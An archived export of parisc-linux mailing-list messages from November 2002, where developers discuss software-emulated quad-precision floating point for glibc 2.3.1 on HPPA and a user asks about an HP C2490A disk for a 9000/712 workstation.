	Sun, 10 Nov 2002 22:45:44 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAB3jgdF001254;
	Sun, 10 Nov 2002 22:45:42 -0500 (EST)
In-Reply-To: <20021111014935.GB13575@systemhalted> from "Carlos O'Donell" at Nov 10, 2002 08:49:35 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16709

> It looks we have the framework. The glibc tree has sysdeps/ieee754/ldbl-128 
> which looks to be used by hppa and sparc64. The code was last touched by
> Jakub Jelinek in 2002-09-09 (cleaning up some cruft). ldlb-128 does get
> parsed as one of the generic-dirs in Make-dist. For all intents and
> purposes we have soft-emulated support :)

Then, I should look at what sparc64 is doing and maybe all we need to do
is implement something similar.  We may not need the HP stuff.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Sun, 10 Nov 2002 23:26:13 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200211110426.gAB4QDnH001302@hiauly1.hia.nrc.ca>
References: <200211110345.gAB3jgdF001254@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621899 16604 80.91.229.3 (22 Nov 2014 02:04:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:59 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Nov 10 21:26:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 417064829
	for <parisc-linux@lists.parisc-linux.org>; Sun, 10 Nov 2002 21:26:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gAB4QDot001303;
	Sun, 10 Nov 2002 23:26:13 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gAB4QDnH001302;
	Sun, 10 Nov 2002 23:26:13 -0500 (EST)
In-Reply-To: <200211110345.gAB3jgdF001254@hiauly1.hia.nrc.ca> from "John David Anglin" at Nov 10, 2002 10:45:42 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16710

> Then, I should look at what sparc64 is doing and maybe all we need to do
> is implement something similar.  We may not need the HP stuff.

Nope, we need it.  Sparc uses library calls like "_Q_add" for the basic
operations on quad values.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 9000/712 and C2490A harddisk
Date: Mon, 11 Nov 2002 14:13:45 +0100
Lines: 101
Approved: news@gmane.org
Message-ID: <02Nov11.142433cet.119042@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C28984.2A3CC7F0"
X-Trace: ger.gmane.org 1416621899 16608 80.91.229.3 (22 Nov 2014 02:04:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:59 +0000 (UTC)
To: "'parisc-linux maillist'" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 06:14:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AE004829
	for <parisc-linux@parisc-linux.org>; Mon, 11 Nov 2002 06:14:03 -0700 (MST)
Original-Received: by ns.hiscom.nl id <119042>; Mon, 11 Nov 2002 14:24:33 +0100
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16711

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C28984.2A3CC7F0
Content-Type: text/plain;
	charset="iso-8859-1"

Hi

I've a 9000/712/80 and a harddisk labeled "C2490A" and "HP". On the HP
website I found 2 kinds of info on this harddisk: It shows in the result of
an `ioscan` in a lot of tape related documents and there are some hits in
the HP-UX patches database that it is not bootable (around 1995/1996) in
some systems.

Has anyone some more info on this drive? I'd like to use it in my 9000/712
since the drive that came with it has currently 0 rpm (it does not spin
anymore). 

I like to know:
the pin-out (including the  position of pin-1, the connector does not make
this clear)
can the 9000/712 boot from it (is it worth the effort)

I've the impression it is a 2.x GB, 7200rpm harddisk and I've been told it
is a relabeled Seagate (then which one?)


Thanks in advance,

CBee



--
C. Beerse
mailto:c.beerse@torex-hiscom.nl
talkto:+31(71)5256660

------_=_NextPart_001_01C28984.2A3CC7F0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>9000/712 and C2490A harddisk</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi</FONT>
</P>

<P><FONT SIZE=3D2>I've a 9000/712/80 and a harddisk labeled =
&quot;C2490A&quot; and &quot;HP&quot;. On the HP website I found 2 =
kinds of info on this harddisk: It shows in the result of an `ioscan` =
in a lot of tape related documents and there are some hits in the HP-UX =
patches database that it is not bootable (around 1995/1996) in some =
systems.</FONT></P>

<P><FONT SIZE=3D2>Has anyone some more info on this drive? I'd like to =
use it in my 9000/712 since the drive that came with it has currently 0 =
rpm (it does not spin anymore). </FONT></P>

<P><FONT SIZE=3D2>I like to know:</FONT>
<BR><FONT SIZE=3D2>the pin-out (including the&nbsp; position of pin-1, =
the connector does not make this clear)</FONT>
<BR><FONT SIZE=3D2>can the 9000/712 boot from it (is it worth the =
effort)</FONT>
</P>

<P><FONT SIZE=3D2>I've the impression it is a 2.x GB, 7200rpm harddisk =
and I've been told it is a relabeled Seagate (then which one?)</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Thanks in advance,</FONT>
</P>

<P><FONT SIZE=3D2>CBee</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>--</FONT>
<BR><FONT SIZE=3D2>C. Beerse</FONT>
<BR><FONT SIZE=3D2><A =
HREF=3D"mailto:c.beerse@torex-hiscom.nl">mailto:c.beerse@torex-hiscom.nl=
</A></FONT>
<BR><FONT SIZE=3D2>talkto:+31(71)5256660</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C28984.2A3CC7F0--


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Holger Grothe <grothe@mathematik.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/712 and C2490A harddisk
Date: Mon, 11 Nov 2002 15:49:14 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20021111154913.A13571@mathematik.tu-darmstadt.de>
References: <02Nov11.142433cet.119042@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621899 16614 80.91.229.3 (22 Nov 2014 02:04:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:59 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 07:49:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA3814829
	for <parisc-linux@parisc-linux.org>; Mon, 11 Nov 2002 07:49:43 -0700 (MST)
Original-Received: from fb04281.mathematik.tu-darmstadt.de (fb04281.mathematik.tu-darmstadt.de [130.83.2.21])
	by mailserver1.hrz.tu-darmstadt.de (8.12.1/8.12.1) with ESMTP id gABEnE2R000312
	for <parisc-linux@parisc-linux.org>; Mon, 11 Nov 2002 15:49:14 +0100
Original-Received: from fb0482.mathematik.tu-darmstadt.de (dummy82.mathematik.tu-darmstadt.de [130.83.2.82])
	by fb04281.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA13905
	for <parisc-linux@parisc-linux.org>; Mon, 11 Nov 2002 15:49:14 +0100
X-Authentication-Warning: fb04281.mathematik.tu-darmstadt.de: Host dummy82.mathematik.tu-darmstadt.de [130.83.2.82] claimed to be fb0482.mathematik.tu-darmstadt.de
Original-Received: (from grothe@localhost)
	by fb0482.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) id PAA13607
	for parisc-linux@parisc-linux.org; Mon, 11 Nov 2002 15:49:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <02Nov11.142433cet.119042@ns.hiscom.nl>; from c.beerse@torex-hiscom.nl on Mon, Nov 11, 2002 at 02:13:45PM +0100
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16712

On Mon, Nov 11, 2002 at 02:13:45PM +0100, "Beerse, Corn?" wrote:
> Hi
> 
> I've a 9000/712/80 and a harddisk labeled "C2490A" and "HP". On the HP
> website I found 2 kinds of info on this harddisk: It shows in the result of
> an `ioscan` in a lot of tape related documents and there are some hits in
> the HP-UX patches database that it is not bootable (around 1995/1996) in
> some systems.
> 
> Has anyone some more info on this drive? I'd like to use it in my 9000/712
> since the drive that came with it has currently 0 rpm (it does not spin
> anymore). 
>
Search for 2490 on http://www.pc-disk.de/

HTH, Holger
-- 
Holger Grothe  (Email: grothe@mathematik.tu-darmstadt.de)
Fachbereich Mathematik, TU Darmstadt


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 10:03:47 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20021111150347.GA8848@systemhalted>
References: <200211110345.gAB3jgdF001254@hiauly1.hia.nrc.ca> <200211110426.gAB4QDnH001302@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621900 16621 80.91.229.3 (22 Nov 2014 02:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:00 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 08:03:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 918EF4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 08:03:38 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BG6N-0007hA-00; Mon, 11 Nov 2002 10:03:47 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
Content-Disposition: inline
In-Reply-To: <200211110426.gAB4QDnH001302@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16713

> 
> Nope, we need it.  Sparc uses library calls like "_Q_add" for the basic
> operations on quad values.
> 
> Dave

We need it or else we have to fall back on completely software emulated
quad arithmetic. Though the framework for replacing all those function
calls is available.

Note that GMP was included in the libc tree at one point, but recently
it's rotted away and Roland was recently removing the last bits in
2002-09-20. I'm not sure what ever came of this? It looks like GMP 2.0
was pushed into the tree in '96 as a generic method for doing unlimited
precision math?

I've only just realized how usefull having extremely descriptive 
Changelog's can be :)

c.



From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 10:47:13 -0500 (EST)
Lines: 26
Approved: news@gmane.org
Message-ID: <200211111547.gABFlEr3001820@hiauly1.hia.nrc.ca>
References: <20021111150347.GA8848@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621900 16626 80.91.229.3 (22 Nov 2014 02:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:00 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 08:47:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C6AB4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 08:47:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gABFlEot001822;
	Mon, 11 Nov 2002 10:47:15 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gABFlEr3001820;
	Mon, 11 Nov 2002 10:47:14 -0500 (EST)
In-Reply-To: <20021111150347.GA8848@systemhalted> from "Carlos O'Donell" at Nov 11, 2002 10:03:47 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16714

> We need it or else we have to fall back on completely software emulated
> quad arithmetic. Though the framework for replacing all those function
> calls is available.

As Willy mentioned, no PA processors actually implement quad arithmetic
at this time although it is part of the PA 2.0 architecture.  So, we
have to use software emulation and there is no point at this time
in adding the quad arithmetic ops to pa.md definition.  The simplest
approach is to use the libcall interface already implemented for hpux
(see pa/long_double.h).

> Note that GMP was included in the libc tree at one point, but recently
> it's rotted away and Roland was recently removing the last bits in
> 2002-09-20. I'm not sure what ever came of this? It looks like GMP 2.0
> was pushed into the tree in '96 as a generic method for doing unlimited
> precision math?

While GMP is a useful package, it doesn't emulate IEEE 754 arithmetic.
That's what we need here.  There's a floating point emulator in gcc/real.c
but I think the HP library would be superior.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 11:26:56 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20021111162656.GE8848@systemhalted>
References: <20021111150347.GA8848@systemhalted> <200211111547.gABFlEr3001820@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621900 16630 80.91.229.3 (22 Nov 2014 02:05:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:00 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@lists.parisc-linux.org,
	tausq@debian.org, jbailey@nisa.net
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 09:26:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B7AC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 09:26:50 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BHOq-0007Jo-00; Mon, 11 Nov 2002 11:26:56 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>, willy@debian.org,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org,
	jbailey@nisa.net
Content-Disposition: inline
In-Reply-To: <200211111547.gABFlEr3001820@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16715

> > We need it or else we have to fall back on completely software emulated
> > quad arithmetic. Though the framework for replacing all those function
> > calls is available.
> 
> As Willy mentioned, no PA processors actually implement quad arithmetic
> at this time although it is part of the PA 2.0 architecture.  So, we
> have to use software emulation and there is no point at this time
> in adding the quad arithmetic ops to pa.md definition.  The simplest
> approach is to use the libcall interface already implemented for hpux
> (see pa/long_double.h).

Ah yes, correct, I had forgotten that it was never implemented in
silica. So you suggest we not implement this in libc but rather in gcc,
may I ask why?

> While GMP is a useful package, it doesn't emulate IEEE 754 arithmetic.
> That's what we need here.  There's a floating point emulator in gcc/real.c
> but I think the HP library would be superior.

I'm pretty sure that MPFR library in GMP can emulate IEEE 754 arithmetic, 
though I could be wrong.

c.


From - Thu Nov 08 21:25:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.3.1 - It's alive! - patches
Date: Mon, 11 Nov 2002 12:12:55 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <20021111171255.GI8848@systemhalted>
References: <20021111010517.GA13575@systemhalted> <200211110119.gAB1JaSr004665@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621901 16635 80.91.229.3 (22 Nov 2014 02:05:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov 11 10:12:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from systemhalted (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id 200784829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 11 Nov 2002 10:12:47 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18BI7L-0005ny-00; Mon, 11 Nov 2002 12:12:55 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@lists.parisc-linux.org, tausq@debian.org
Content-Disposition: inline
In-Reply-To: <200211110119.gAB1JaSr004665@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (2% Sync Ratio [..........])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16716

> > Lastly, I think that the fp* tests suffer from the printf bug?
> 
> I am fairly certain that this is fixed in gcc 3.2/3.3.  Could you
> do a build with the mainline gcc cvs?  I am interested in feedback.
> as I am trying to squash as many bugs as possible in 3.3 while it's
> still open for general bug fixing.
> 

carlos@firin:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3$ hppa-linux-gcc-3.3 -v
Reading specs from /mnt/flaire/palinux/bin/../lib/gcc-lib/hppa-linux/3.3/specs
Configured with: ../gcc/configure --target=hppa-linux --build=hppa-linux --host=hppa-linux
--prefix=/mnt/flaire/palinux/ --enable-languages=c
Thread model: posix
gcc version 3.3 20021110 (experimental)

carlos@firin:/mnt/flaire/src/glibc-upstream-cvs/libc-build-3.3$ ld -v
GNU ld version 2.13.90.0.10 20021010 Debian GNU/Linux

Latest CVS of glibc.2.3.1 with HPPA patches applied.

